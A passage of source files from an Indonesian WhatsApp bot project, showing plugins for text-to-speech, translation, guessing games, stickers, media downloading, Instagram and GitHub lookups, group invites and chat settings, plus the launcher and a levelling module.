/plugins/tts.js: -------------------------------------------------------------------------------- 1 | let gtts = require('node-gtts') 2 | let fs = require('fs') 3 | let path = require('path') 4 | let { spawn } = require('child_process') 5 | 6 | const defaultLang = 'id' 7 | let handler = async (m, { conn, args }) => { 8 | 9 | let lang = args[0] 10 | let text = args.slice(1).join(' ') 11 | if ((args[0] || '').length !== 2) { 12 | lang = defaultLang 13 | text = args.join(' ') 14 | } 15 | if (!text && m.quoted && m.quoted.text) text = m.quoted.text 16 | 17 | let res 18 | try { res = await tts(text, lang) } 19 | catch (e) { 20 | m.reply(e + '') 21 | res = await tts(text) 22 | } finally { 23 | conn.sendFile(m.chat, res, 'tts.opus', null, m, true) 24 | } 25 | } 26 | handler.help = ['tts '] 27 | handler.tags = ['tools'] 28 | handler.command = /^g?tts$/i 29 | module.exports = handler 30 | 31 | function tts(text, lang = 'id') { 32 | console.log(lang, text) 33 | return new Promise((resolve, reject) => { 34 | try { 35 | let tts = gtts(lang) 36 | let filePath = path.join(__dirname, '../tmp', (1 * new Date) + '.wav') 37 | tts.save(filePath, text, () => { 38 | resolve(fs.readFileSync(filePath)) 39 | fs.unlinkSync(filePath) 40 | }) 41 | } catch (e) { reject(e) } 42 | }) 43 | } 44 | -------------------------------------------------------------------------------- /plugins/broadcastjadibot.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix, text }) => { 2 | if (conn.user.jid !== global.conn.user.jid) throw false 3 | let users = [...new Set([...global.conns.filter(conn => conn.user && conn.state !== 'close').map(conn => conn.user.jid)])] 4 | let cc = text ? m : m.quoted ? await m.getQuotedObj() : false || m 5 | let teks = text ? text : cc.text 6 | let content = conn.cMod(m.chat, cc, /bc|broadcast/i.test(teks) ? teks : teks + '\n' + readMore + '「 All Jadibot Broadcast 」') 7 | for (let id of users) conn.copyNForward(id, content, true) 8 | conn.reply(m.chat, `_Berhasil mengirim broadcast ke ${users.length} nomor yang jadi bot_ 9 | ${users.map(v => 'wa.me/' + v.replace(/[^0-9]/g, '') + `?text=${usedPrefix}menu`).join('\n')}`.trim(), m) 10 | } 11 | handler.help = ['broadcastjadibot', 'bcbot'].map(v => v + ' ') 12 | handler.tags = ['host'] 13 | handler.command = /^(broadcast|bc)(jadi)?bot$/i 14 | handler.owner = true 15 | handler.mods = false 16 | handler.premium = false 17 | handler.group = false 18 | handler.private = false 19 | 20 | handler.admin = false 21 | handler.botAdmin = false 22 | 23 | handler.fail = null 24 | 25 | module.exports = handler 26 | 27 | const more = String.fromCharCode(8206) 28 | const readMore = more.repeat(4001) 29 | 30 | -------------------------------------------------------------------------------- /plugins/translate.js: -------------------------------------------------------------------------------- 1 | const translate = require('translate-google-api') 2 | const defaultLang = 'en' 3 | const tld = 'cn' 4 | 5 | let handler = async (m, { args, usedPrefix, command }) => { 6 | let err = ` 7 | Contoh: 8 | ${usedPrefix + command} [text] 9 | ${usedPrefix + command} id your messages 10 | 11 | Daftar bahasa yang didukung: https://cloud.google.com/translate/docs/languages 12 | `.trim() 13 | 14 | let lang = args[0] 15 | let text = args.slice(1).join(' ') 16 | if ((args[0] || '').length !== 2) { 17 | lang = defaultLang 18 | text = args.join(' ') 19 | } 20 | if (!text && m.quoted && m.quoted.text) text = m.quoted.text 21 | 22 | let result 23 | try { 24 | result = await translate(`${text}`, { 25 | tld, 26 | to: lang, 27 | }) 28 | } catch (e) { 29 | result = await translate(`${text}`, { 30 | tld, 31 | to: defaultLang, 32 | }) 33 | throw err 34 | } finally { 35 | m.reply(result[0]) 36 | } 37 | 38 | } 39 | handler.help = ['translate'].map(v => v + ' ') 40 | handler.tags = ['tools'] 41 | handler.command = /^(tr(anslate)?)$/i 42 | handler.limit = false 43 | handler.fail = null 44 | handler.exp = 0 45 | module.exports = handler 46 | -------------------------------------------------------------------------------- /plugins/tebakgambar.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | 3 | let timeout = 120000 4 | let poin = 1000 5 | let handler = async (m, { conn, usedPrefix }) => { 6 | conn.tebakgambar = conn.tebakgambar ? conn.tebakgambar : {} 7 | let id = m.chat 8 | if (id in conn.tebakgambar) { 9 | conn.reply(m.chat, 'Masih ada soal belum terjawab di chat ini', conn.tebakgambar[id][0]) 10 | throw false 11 | } 12 | let res = await fetch(global.API('xteam', '/game/tebakgambar', {}, 'APIKEY')) 13 | if (res.status !== 200) throw await res.text() 14 | let json = await res.json() 15 | if (!json.status) throw json 16 | let caption = ` 17 | Timeout *${(timeout / 1000).toFixed(2)} detik* 18 | Ketik ${usedPrefix}hint untuk hint 19 | Bonus: ${poin} XP 20 | `.trim() 21 | conn.tebakgambar[id] = [ 22 | await conn.sendFile(m.chat, json.url, 'tebakgambar.jpg', caption, m), 23 | json, poin, 24 | setTimeout(() => { 25 | if (conn.tebakgambar[id]) conn.reply(m.chat, `Waktu habis!\nJawabannya adalah *${json.jawaban}*`, conn.tebakgambar[id][0]) 26 | delete conn.tebakgambar[id] 27 | }, timeout) 28 | ] 29 | } 30 | handler.help = ['tebakgambar'] 31 | handler.tags = ['game'] 32 | handler.command = /^tebakgambar/i 33 | 34 | module.exports = handler -------------------------------------------------------------------------------- /plugins/styletext.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let { JSDOM } = require('jsdom') 3 | let handler = async (m, { conn, text }) => { 4 | conn.reply(m.chat, Object.entries(await stylizeText(text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text)).map(([name, value]) => `*${name}*\n${value}`).join`\n\n`, m) 5 | } 6 | handler.help = ['style'].map(v => v + ' ') 7 | handler.tags = ['tools'] 8 | handler.command = /^(style)$/i 9 | handler.owner = false 10 | handler.mods = false 11 | handler.premium = false 12 | handler.group = false 13 | handler.private = false 14 | 15 | handler.admin = false 16 | handler.botAdmin = false 17 | 18 | handler.fail = null 19 | handler.exp = 0 20 | 21 | module.exports = handler 22 | 23 | async function stylizeText(text) { 24 | let res = await fetch('http://qaz.wtf/u/convert.cgi?text=' + encodeURIComponent(text)) 25 | let html = await res.text() 26 | let dom = new JSDOM(html) 27 | let table = dom.window.document.querySelector('table').children[0].children 28 | let obj = {} 29 | for (let tr of table) { 30 | let name = tr.querySelector('.aname').innerHTML 31 | let content = tr.children[1].textContent.replace(/^\n/, '').replace(/\n$/, '') 32 | obj[name + (obj[name] ? ' Reversed' : '')] = content 33 | } 34 | return obj 35 | } 36 | -------------------------------------------------------------------------------- /plugins/simulate.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args: [event], text }) => { 2 | let mentions = text.replace(event, '').trimStart() 3 | let who = mentions ? conn.parseMention(mentions) : [] 4 | let participants = who.length ? who : [m.sender] 5 | let action = false 6 | m.reply(`Simulating ${event}...`) 7 | switch (event.toLowerCase()) { 8 | case 'add': 9 | case 'invite': 10 | case 'welcome': 11 | action = 'add' 12 | break 13 | case 'bye': 14 | case 'kick': 15 | case 'leave': 16 | case 'remove': 17 | action = 'remove' 18 | break 19 | case 'promote': 20 | action = 'promote' 21 | break 22 | case 'demote': 23 | action = 'demote' 24 | break 25 | case 'delete': 26 | deleted = m 27 | break 28 | default: throw `List Event: welcome, bye, delete, promote, demote` 29 | } 30 | if (action) return conn.onParticipantsUpdate({ 31 | jid: m.chat, 32 | participants, 33 | action 34 | }) 35 | return conn.onDelete(m) 36 | } 37 | handler.help = ['simulate [@mention]'] 38 | handler.tags = ['owner', 'group'] 39 | 40 | handler.command = /^simulate$/i 41 | module.exports = handler 42 | 43 | -------------------------------------------------------------------------------- /plugins/semoji.js: -------------------------------------------------------------------------------- 1 | // Terimakasih kpd RC047 :v 2 | // Fitur By Xteams 3 | // Modified by Nurutomo (Update Xteam :v) 4 | 5 | const { sticker } = require('../lib/sticker') 6 | const fetch = require('node-fetch') 7 | const defaultType = 'whatsapp' 8 | let handler = async (m, { usedPrefix, conn, args, text }) => { 9 | let [tipe, emoji] = text.includes('|') ? text.split('|') : args 10 | if (tipe && !emoji) { 11 | emoji = tipe 12 | tipe = defaultType 13 | } 14 | if (!emoji) throw `Silahkan masukan emojinya\n\nMisal ${usedPrefix}semoji whatsapp 😎\n\nList Tipe: 15 | - whatsapp 16 | - facebook 17 | - apple 18 | - google 19 | - microsoft` 20 | emoji = emoji.trim() 21 | tipe = tipe.trim().toLowerCase() 22 | 23 | let res = await fetch(global.API('xteam', '/sticker/emojitopng', { emo: emoji.trim() }, 'APIKEY')) 24 | if (!res.ok) throw res.text() 25 | let json = await res.json() 26 | if (!json.status) throw json 27 | if (!(tipe in json.result)) tipe = defaultType 28 | let stiker = await sticker(null, json.result[tipe].img, global.packname, global.author, [emoji]) 29 | // m.reply(` 30 | // Tipe: ${tipe} 31 | // Emoji: ${emoji} 32 | // `.trim()) 33 | m.reply(stiker) 34 | } 35 | handler.help = ['semoji [tipe] '] 36 | handler.tags = ['sticker'] 37 | handler.command = /^s?emo(ji)?$/i 38 | module.exports = handler 39 | -------------------------------------------------------------------------------- /plugins/igstalk.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | if (!args[0]) throw 'Uhm...username nya mana?' 4 | let res = await fetch(global.API('xteam', '/dl/igstalk', { 5 | nama: args[0] 6 | }, 'APIKEY')) 7 | let json = await res.json() 8 | if (res.status != 200) throw json 9 | if (json.result.error) throw json.result.message 10 | let { 11 | full_name, 12 | username, 13 | is_verified, 14 | media_count, 15 | follower_count, 16 | following_count, 17 | biography, 18 | external_url, 19 | profile_pic_url, 20 | hd_profile_pic_url_info, 21 | is_private 22 | } = json.result.user 23 | let pp = hd_profile_pic_url_info.url || profile_pic_url 24 | let caption = ` 25 | ${full_name} *(@${username})* ${is_verified ? '✓' : ''} 26 | https://instagram.com/${username} 27 | ${is_private ? 'Post Hidden by User' : ('*' + media_count + '* Post(s)')} 28 | Following *${following_count}* User(s) 29 | *${follower_count}* Followers 30 | *Bio:* 31 | ${biography}${external_url ? '\n*External URL:* ' + external_url : ''} 32 | `.trim() 33 | if (pp) conn.sendFile(m.chat, pp, 'ppig.jpg', caption, m) 34 | else m.reply(caption) 35 | } 36 | handler.help = ['igstalk'].map(v => v + ' ') 37 | handler.tags = ['downloader'] 38 | 39 | handler.command = /^(igstalk)$/i 40 | 41 | module.exports = handler 42 | -------------------------------------------------------------------------------- /plugins/github-search.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { text }) => { 3 | if (!text) throw 'Cari apa?' 4 | let res = await fetch(global.API('https://api.github.com', '/search/repositories', { 5 | q: text 6 | })) 7 | let json = await res.json() 8 | if (res.status !== 200) throw json 9 | let str = json.items.map((repo, index) => { 10 | return ` 11 | ${1 + index}. *${repo.full_name}*${repo.fork ? ' (fork)' : ''} 12 | _${repo.html_url}_ 13 | _Dibuat pada *${formatDate(repo.created_at)}*_ 14 | _Terakhir update pada *${formatDate(repo.updated_at)}*_ 15 | 👁 ${repo.watchers} 🍴 ${repo.forks} ⭐ ${repo.stargazers_count} 16 | ${repo.open_issues} Issue${repo.description ? ` 17 | *Deskripsi:*\n${repo.description}` : ''} 18 | *Clone:* \`\`\`$ git clone ${repo.clone_url}\`\`\` 19 | `.trim() 20 | }).join('\n\n') 21 | m.reply(str) 22 | } 23 | handler.help = ['githubsearch'].map(v => v + ' ') 24 | handler.tags = ['tools'] 25 | 26 | handler.command = /^g(ithub|h)search$/i 27 | 28 | module.exports = handler 29 | 30 | function formatDate(n, locale = 'id') { 31 | let d = new Date(n) 32 | return d.toLocaleDateString(locale, { 33 | weekday: 'long', 34 | day: 'numeric', 35 | month: 'long', 36 | year: 'numeric', 37 | hour: 'numeric', 38 | minute: 'numeric', 39 | second: 'numeric' 40 | }) 41 | } -------------------------------------------------------------------------------- /plugins/ytv.js: -------------------------------------------------------------------------------- 1 | let limit = 30 2 | let fetch = require('node-fetch') 3 | const { servers, ytv } = require('../lib/y2mate') 4 | let handler = async (m, { conn, args, isPrems, isOwner }) => { 5 | if (!args || !args[0]) throw 'Uhm... urlnya mana?' 6 | let server = (args[1] || servers[0]).toLowerCase() 7 | let { dl_link, thumb, title, filesize, filesizeF} = await ytv(args[0], servers.includes(server) ? server : servers[0]) 8 | let isLimit = (isPrems || isOwner ? 99 : limit) * 1024 < filesize 9 | conn.sendFile(m.chat, thumb, 'thumbnail.jpg', ` 10 | *Title:* ${title} 11 | *Filesize:* ${filesizeF} 12 | *${isLimit ? 'Pakai ': ''}Link:* ${dl_link} 13 | `.trim(), m) 14 | let _thumb = {} 15 | try { _thumb = { thumbnail: await (await fetch(thumb)).buffer() } } 16 | catch (e) { } 17 | if (!isLimit) conn.sendFile(m.chat, dl_link, title + '.mp4', ` 18 | *Title:* ${title} 19 | *Filesize:* ${filesizeF} 20 | `.trim(), m, false, _thumb || {}) 21 | } 22 | handler.help = ['mp4','v',''].map(v => 'yt' + v + ` [server: ${servers.join(', ')}]`) 23 | handler.tags = ['downloader'] 24 | handler.command = /^yt(v|mp4)?$/i 25 | handler.owner = false 26 | handler.mods = false 27 | handler.premium = false 28 | handler.group = false 29 | handler.private = false 30 | 31 | handler.admin = false 32 | handler.botAdmin = false 33 | 34 | handler.fail = null 35 | handler.exp = 0 36 | handler.limit = true 37 | 38 | module.exports = handler 39 | 40 | -------------------------------------------------------------------------------- /plugins/getsider.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | if (!m.quoted) throw 'Reply pesan!' 3 | if (!m.quoted.fromMe) throw false 4 | if (!m.quoted.id) throw false 5 | let members = m.quoted.chat.endsWith('g.us') ? (await conn.groupMetadata(m.quoted.chat)).participants.length - 1 : m.quoted.chat.endsWith('@broadcast') ? -1 : 1 6 | let { reads, deliveries } = await conn.messageInfo(m.quoted.chat, m.quoted.id) 7 | let txt = ` 8 | *Read by:* 9 | ${reads.sort((a, b) => b.t - a.t).map(({ jid, t }) => `@${jid.split`@`[0]}\n_${formatDate(t * 1000)}_`).join('\n')} 10 | ${members > 1 ? `${members - reads.length} remaining` : ''} 11 | 12 | *Delivered to:* 13 | ${deliveries.sort((a, b) => b.t - a.t).map(({ jid, t }) => `wa.me/${jid.split`@`[0]}\n_${formatDate(t * 1000)}_`).join('\n')} 14 | ${members > 1 ? `${members - reads.length - deliveries.length} remaining` : ''} 15 | `.trim() 16 | m.reply(txt, null, { 17 | contextInfo: { 18 | mentionedJid: conn.parseMention(txt) 19 | } 20 | }) 21 | } 22 | handler.help = ['getsider'] 23 | handler.tags = [''] 24 | 25 | handler.command = /^getsider$/ 26 | 27 | module.exports = handler 28 | 29 | function formatDate(n, locale = 'id') { 30 | let d = new Date(n) 31 | return d.toLocaleDateString(locale, { 32 | weekday: 'long', 33 | day: 'numeric', 34 | month: 'long', 35 | year: 'numeric', 36 | hour: 'numeric', 37 | minute: 'numeric', 38 | second: 'numeric' 39 | }) 40 | } 41 | -------------------------------------------------------------------------------- /plugins/tebaklagu.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | 3 | let timeout = 120000 4 | let poin = 1000 5 | let handler = async (m, { conn, usedPrefix }) => { 6 | conn.tebaklagu = conn.tebaklagu ? conn.tebaklagu : {} 7 | let id = m.chat 8 | if (id in conn.tebaklagu) { 9 | conn.reply(m.chat, 'Masih ada soal belum terjawab di chat ini', conn.tebaklagu[id][0]) 10 | throw false 11 | } 12 | // ubah isi 'id' kalo mau ganti playlist spotifynya 13 | let res = await fetch(global.API('xteam', '/game/tebaklagu/', { id: '3AaKHE9ZMMEdyRadsg8rcy' }, 'APIKEY')) 14 | if (res.status !== 200) throw await res.text() 15 | let result = await res.json() 16 | let json = result.result 17 | // if (!json.status) throw json 18 | let caption = ` 19 | TEBAK JUDUL LAGU 20 | Timeout *${(timeout / 1000).toFixed(2)} detik* 21 | Ketik *${usedPrefix}cek* untuk bantuan 22 | Bonus: ${poin} XP 23 | *Balas pesan ini untuk menjawab!*`.trim() 24 | conn.tebaklagu[id] = [ 25 | await m.reply(caption), 26 | json, poin, 27 | setTimeout(() => { 28 | if (conn.tebaklagu[id]) conn.reply(m.chat, `Waktu habis!\nJawabannya adalah *${json.judul}*`, conn.tebaklagu[id][0]) 29 | delete conn.tebaklagu[id] 30 | }, timeout) 31 | ] 32 | await conn.sendFile(m.chat, json.preview, 'coba-lagi.mp3', '', m) 33 | } 34 | handler.help = ['tebaklagu'] 35 | handler.tags = ['game'] 36 | handler.command = /^tebaklagu$/i 37 | handler.limit = true 38 | module.exports = handler -------------------------------------------------------------------------------- /plugins/toimg.js: -------------------------------------------------------------------------------- 1 | const { spawn } = require('child_process') 2 | const util = require('util') 3 | const { MessageType } = require('@adiwajshing/baileys') 4 | 5 | let handler = async (m, { conn }) => { 6 | if (!global.support.convert && 7 | !global.support.magick && 8 | !global.support.gm) return handler.disabled = true // Disable if doesnt support 9 | if (!m.quoted) return conn.reply(m.chat, 'Tag stikernya!', m) 10 | let q = { message: { [m.quoted.mtype]: m.quoted } } 11 | if (/sticker/.test(m.quoted.mtype)) { 12 | let sticker = await conn.downloadM(q) 13 | if (!sticker) throw sticker 14 | let bufs = [] 15 | const [_spawnprocess, ..._spawnargs] = [...(global.support.gm ? ['gm'] : global.support.magick ? ['magick'] : []), 'convert', 'webp:-', 'png:-'] 16 | let im = spawn(_spawnprocess, _spawnargs) 17 | im.on('error', e => conn.reply(m.chat, util.format(e), m)) 18 | im.stdout.on('data', chunk => bufs.push(chunk)) 19 | im.stdin.write(sticker) 20 | im.stdin.end() 21 | im.on('exit', () => { 22 | conn.sendMessage(m.chat, Buffer.concat(bufs), MessageType.image, { 23 | quoted: m 24 | }) 25 | }) 26 | } 27 | } 28 | handler.help = ['toimg (reply)'] 29 | handler.tags = ['sticker'] 30 | handler.command = /^toimg$/i 31 | handler.owner = false 32 | handler.mods = false 33 | handler.premium = false 34 | handler.group = false 35 | handler.private = false 36 | 37 | handler.admin = false 38 | handler.botAdmin = false 39 | 40 | handler.fail = null 41 | 42 | module.exports = handler 43 | 44 | -------------------------------------------------------------------------------- /plugins/upsw.js: -------------------------------------------------------------------------------- 1 | const colors = [ 2 | 0xff26c4dc, 0xff792138, 3 | 0xff8b6990, 0xfff0b330, 4 | 0xffae8774, 0xff5696ff, 5 | 0xffff7b6b, 0xff57c9ff, 6 | 0xff243640, 0xffb6b327, 7 | 0xffc69fcc, 0xff54c265, 8 | 0xff6e257e, 0xffc1a03f, 9 | 0xff90a841, 0xff7acba5, 10 | 0xff8294ca, 0xffa62c71, 11 | 0xffff8a8c, 0xff7e90a3, 12 | 0xff74676a 13 | ] 14 | 15 | let handler = async (m, { conn, text }) => { 16 | let _m = Promise.resolve({ key: { id: '' }}) 17 | if (!m.quoted && !text) throw 'reply pesan atau sebagai argumen' 18 | if (m.quoted && m.quoted.mtype !== 'conversation' && !text) _m = m.quoted.forward('status@broadcast') 19 | if (m.quoted && m.quoted.mtype === 'conversation' && !text) _m = conn.sendMessage('status@broadcast', { 20 | text: m.quoted.text, 21 | textArgb: 0xffffffff, 22 | backgroundArgb: pickRandom(colors) 23 | }, 'extendedTextMessage') 24 | if (!m.quoted && text) _m = conn.sendMessage('status@broadcast', { 25 | text, 26 | textArgb: 0xffffffff, 27 | backgroundArgb: pickRandom(colors) 28 | }, 'extendedTextMessage') 29 | if (m.quoted && text) _m = conn.forwardMessage('status@broadcast', await m.quoted.cMod('status@broadcast', text)) 30 | m.reply((await _m).key.id) 31 | } 32 | handler.help = ['upsw [text] (Reply Media)', 'upsw '] 33 | handler.tags = [''] 34 | 35 | handler.command = /^upsw$/i 36 | 37 | module.exports = handler 38 | 39 | function pickRandom(arr) { 40 | return arr[Math.floor(Math.random() * arr.length)] 41 | } -------------------------------------------------------------------------------- /plugins/profile.js: -------------------------------------------------------------------------------- 1 | let PhoneNumber = require('awesome-phonenumber') 2 | let levelling = require('../lib/levelling') 3 | let handler = async (m, { conn }) => { 4 | let pp = './src/avatar_contact.png' 5 | let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender 6 | try { 7 | pp = await conn.getProfilePicture(who) 8 | } catch (e) { 9 | 10 | } finally { 11 | let about = (await conn.getStatus(who).catch(console.error) || {}).status || '' 12 | let { name, limit, exp, lastclaim, registered, regTime, age, level } = global.DATABASE.data.users[who] 13 | let { min, xp, max } = levelling.xpRange(level, global.multiplier) 14 | let username = conn.getName(who) 15 | let str = ` 16 | Name: ${username} ${registered ? '(' + name + ') ': ''}(@${who.replace(/@.+/, '')})${about ? '\nAbout: ' + about : ''} 17 | Number: ${PhoneNumber('+' + who.replace('@s.whatsapp.net', '')).getNumber('international')} 18 | Link: https://wa.me/${who.split`@`[0]}${registered ? '\nAge: ' + age : ''} 19 | XP: TOTAL ${exp} (${exp - min} / ${xp}) [${max - exp} left to levelup] 20 | Level: ${level} 21 | Limit: ${limit} 22 | Registered: ${registered ? 'Yes (' + new Date(regTime) + ')': 'No'}${lastclaim > 0 ? '\nLast Claim: ' + new Date(lastclaim) : ''} 23 | `.trim() 24 | let mentionedJid = [who] 25 | conn.sendFile(m.chat, pp, 'pp.jpg', str, m, false, { contextInfo: { mentionedJid }}) 26 | } 27 | } 28 | handler.help = ['profile [@user]'] 29 | handler.tags = ['tools'] 30 | handler.command = /^profile$/i 31 | module.exports = handler 32 | 33 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | console.log('Starting...') 2 | let { spawn } = require('child_process') 3 | let path = require('path') 4 | let fs = require('fs') 5 | let package = require('./package.json') 6 | const CFonts = require('cfonts') 7 | CFonts.say('Lightweight\nWhatsApp Bot', { 8 | font: 'chrome', 9 | align: 'center', 10 | gradient: ['red', 'magenta'] 11 | }) 12 | CFonts.say(`'${package.name}' By @${package.author.name || package.author}`, { 13 | font: 'console', 14 | align: 'center', 15 | gradient: ['red', 'magenta'] 16 | }) 17 | 18 | var isRunning = false 19 | /** 20 | * Start a js file 21 | * @param {String} file `path/to/file` 22 | */ 23 | function start(file) { 24 | if (isRunning) return 25 | isRunning = true 26 | let args = [path.join(__dirname, file), ...process.argv.slice(2)] 27 | CFonts.say([process.argv[0], ...args].join(' '), { 28 | font: 'console', 29 | align: 'center', 30 | gradient: ['red', 'magenta'] 31 | }) 32 | let p = spawn(process.argv[0], args, { 33 | stdio: ['inherit', 'inherit', 'inherit', 'ipc'] 34 | }) 35 | p.on('message', data => { 36 | console.log('[RECEIVED]', data) 37 | switch (data) { 38 | case 'reset': 39 | p.kill() 40 | isRunning = false 41 | start.apply(this, arguments) 42 | break 43 | case 'uptime': 44 | p.send(process.uptime()) 45 | break 46 | } 47 | }) 48 | p.on('exit', code => { 49 | isRunning = false 50 | console.error('Exited with code:', code) 51 | if (code === 0) return 52 | fs.watchFile(args[0], () => { 53 | fs.unwatchFile(args[0]) 54 | start(file) 55 | }) 56 | }) 57 | // console.log(p) 58 | } 59 | 60 | start('main.js') 61 | -------------------------------------------------------------------------------- /lib/levelling.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | /** 3 | * Growth rate 4 | * `2.576652002695681` 5 | */ 6 | growth: Math.pow(Math.PI / Math.E, 1.618) * Math.E * .75, 7 | /** 8 | * get XP range at specified level 9 | * @param {Number} level 10 | * @param {Number} multiplier 11 | */ 12 | xpRange(level, multiplier = global.multiplier || 1) { 13 | if (level < 0) throw new TypeError('level cannot be negative value') 14 | level = Math.floor(level) 15 | let min = level === 0 ? 0 : Math.round(Math.pow(level, this.growth) * multiplier) + 1 16 | let max = Math.round(Math.pow(++level, this.growth) * multiplier) 17 | return { 18 | min, 19 | max, 20 | xp: max - min 21 | } 22 | }, 23 | /** 24 | * get level by xp 25 | * @param {Number} xp 26 | * @param {Number} multiplier 27 | */ 28 | findLevel(xp, multiplier = global.multiplier || 1) { 29 | if (xp === Infinity) return Infinity 30 | if (isNaN(xp)) return NaN 31 | if (xp <= 0) return -1 32 | let level = 0 33 | do level++ 34 | while (this.xpRange(level, multiplier).min <= xp) 35 | return --level 36 | }, 37 | /** 38 | * is able to level up? 39 | * @param {Number} level 40 | * @param {Number} xp 41 | * @param {Number} multiplier 42 | */ 43 | canLevelUp(level, xp, multiplier = global.multiplier || 1) { 44 | if (level < 0) return false 45 | if (xp === Infinity) return true 46 | if (isNaN(xp)) return false 47 | if (xp <= 0) return false 48 | return level < this.findLevel(xp, multiplier) 49 | } 50 | } -------------------------------------------------------------------------------- /plugins/wait.js: -------------------------------------------------------------------------------- 1 | // https://github.com/Nobuyaki 2 | // Jangan Hapus link githubnya bang :) 3 | 4 | const fetch = require('node-fetch') 5 | let handler = async (m, { conn, usedPrefix }) => { 6 | let q = m.quoted ? m.quoted : m 7 | let mime = (q.msg || q).mimetype || '' 8 | if (!mime) throw `Reply Foto/Kirim Foto Dengan Caption ${usedPrefix}wait` 9 | if (!/image\/(jpe?g|png)/.test(mime)) throw `Mime ${mime} tidak support` 10 | let img = await q.download() 11 | await m.reply('Searching Anime Titles...') 12 | let anime = `data:${mime};base64,${img.toString('base64')}` 13 | let response = await fetch('https://trace.moe/api/search', { 14 | method: 'POST', 15 | headers: { 16 | 'Content-Type': 'application/json' 17 | }, 18 | body: JSON.stringify({ image: anime }), 19 | }) 20 | if (!response.ok) throw 'Gambar tidak ditemukan!' 21 | let result = await response.json() 22 | let { is_adult, title, title_chinese, title_romaji, episode, season, similarity, filename, at, tokenthumb, anilist_id } = result.docs[0] 23 | let link = `https://media.trace.moe/video/${anilist_id}/${encodeURIComponent(filename)}?t=${at}&token=${tokenthumb}` 24 | let nobuyaki = ` 25 | ${similarity < 0.89 ? 'Saya Memiliki Keyakinan Rendah Tentang Hal Ini' : ''} 26 | 27 | ❏ Judul Jepang : *${title}* 28 | ❏ Ejaan Judul : *${title_romaji}* 29 | ❏ Similarity : *${(similarity * 100).toFixed(1)}%* 30 | ❏ Episode : *${episode.toString()}* 31 | ❏ Ecchi : *${is_adult ? 'Yes' : 'No'}* 32 | `.trim() 33 | conn.sendFile(m.chat, link, 'srcanime.mp4', `${nobuyaki}`, m) 34 | } 35 | handler.help = ['wait (caption|reply image)'] 36 | handler.tags = ['tools'] 37 | handler.command = /^(wait)$/i 38 | 39 | module.exports = handler 40 | -------------------------------------------------------------------------------- /plugins/oadd.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, text, participants }) => { 3 | let _participants = participants.map(user => user.jid) 4 | let users = (await Promise.all( 5 | text.split(',') 6 | .map(v => v.replace(/[^0-9]/g, '')) 7 | .filter(v => v.length > 4 && v.length < 20 && !_participants.includes(v + '@s.whatsapp.net')) 8 | .map(async v => [ 9 | v, 10 | await conn.isOnWhatsApp(v + '@s.whatsapp.net') 11 | ]) 12 | )).filter(v => v[1]).map(v => v[0] + '@c.us') 13 | let response = await conn.groupAdd(m.chat, users) 14 | let pp = await conn.getProfilePicture(m.chat).catch(_ => false) 15 | let jpegThumbnail = pp ? await (await fetch(pp)).buffer() : false 16 | for (let user of response.participants.filter(user => Object.values(user)[0].code == 403)) { 17 | let [[jid, { 18 | invite_code, 19 | invite_code_exp 20 | }]] = Object.entries(user) 21 | let teks = `Mengundang @${jid.split('@')[0]} menggunakan invite...` 22 | m.reply(teks, null, { 23 | contextInfo: { 24 | mentionedJid: conn.parseMention(teks) 25 | } 26 | }) 27 | await conn.sendGroupV4Invite(m.chat, jid, invite_code, invite_code_exp, false, 'Invitation to join my WhatsApp group', jpegThumbnail ? { 28 | jpegThumbnail 29 | } : {}) 30 | } 31 | } 32 | handler.help = ['add', '+'].map(v => 'o' + v + ' @user') 33 | handler.tags = ['owner'] 34 | handler.command = /^(oadd|o\+)$/i 35 | handler.owner = true 36 | handler.mods = false 37 | handler.premium = false 38 | handler.group = true 39 | handler.private = false 40 | 41 | handler.admin = false 42 | handler.botAdmin = true 43 | 44 | handler.fail = null 45 | 46 | module.exports = handler 47 | -------------------------------------------------------------------------------- /plugins/enable.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix, command, text, args, isROwner }) => { 2 | let isEnable = /true|enable|(turn)?on/i.test(command) 3 | let chat = global.DATABASE._data.chats[m.chat] 4 | let user = global.DATABASE._data.users[m.sender] 5 | let type = (args[0] || '').toLowerCase() 6 | let isAll = false 7 | let isUser = false 8 | switch (type) { 9 | case 'welcome': 10 | chat.welcome = isEnable 11 | break 12 | case 'detect': 13 | chat.detect = isEnable 14 | break 15 | case 'delete': 16 | chat.delete = isEnable 17 | break 18 | case 'antidelete': 19 | chat.delete = !isEnable 20 | break 21 | case 'autodelvn': 22 | chat.autodelvn = isEnable 23 | break 24 | case 'public': 25 | isAll = true 26 | if (!isROwner) { 27 | global.dfail('rowner', m, conn) 28 | throw false 29 | } 30 | global.opts['self'] = !isEnable 31 | break 32 | case 'antilink': 33 | chat.antiLink = isEnable 34 | break 35 | case 'autolevelup': 36 | isUser = true 37 | user.autolevelup = isEnable 38 | break 39 | default: 40 | return m.reply(` 41 | List option: welcome | delete | public | antilink | autolevelup | detect 42 | 43 | Contoh: 44 | ${usedPrefix}enable welcome 45 | ${usedPrefix}disable welcome 46 | `.trim()) 47 | } 48 | m.reply(` 49 | *${type}* berhasil di *${isEnable ? 'nyala' : 'mati'}kan* ${isAll ? 'untuk bot ini' : isUser ? '' : 'untuk chat ini'} 50 | `.trim()) 51 | } 52 | handler.help = ['en', 'dis'].map(v => v + 'able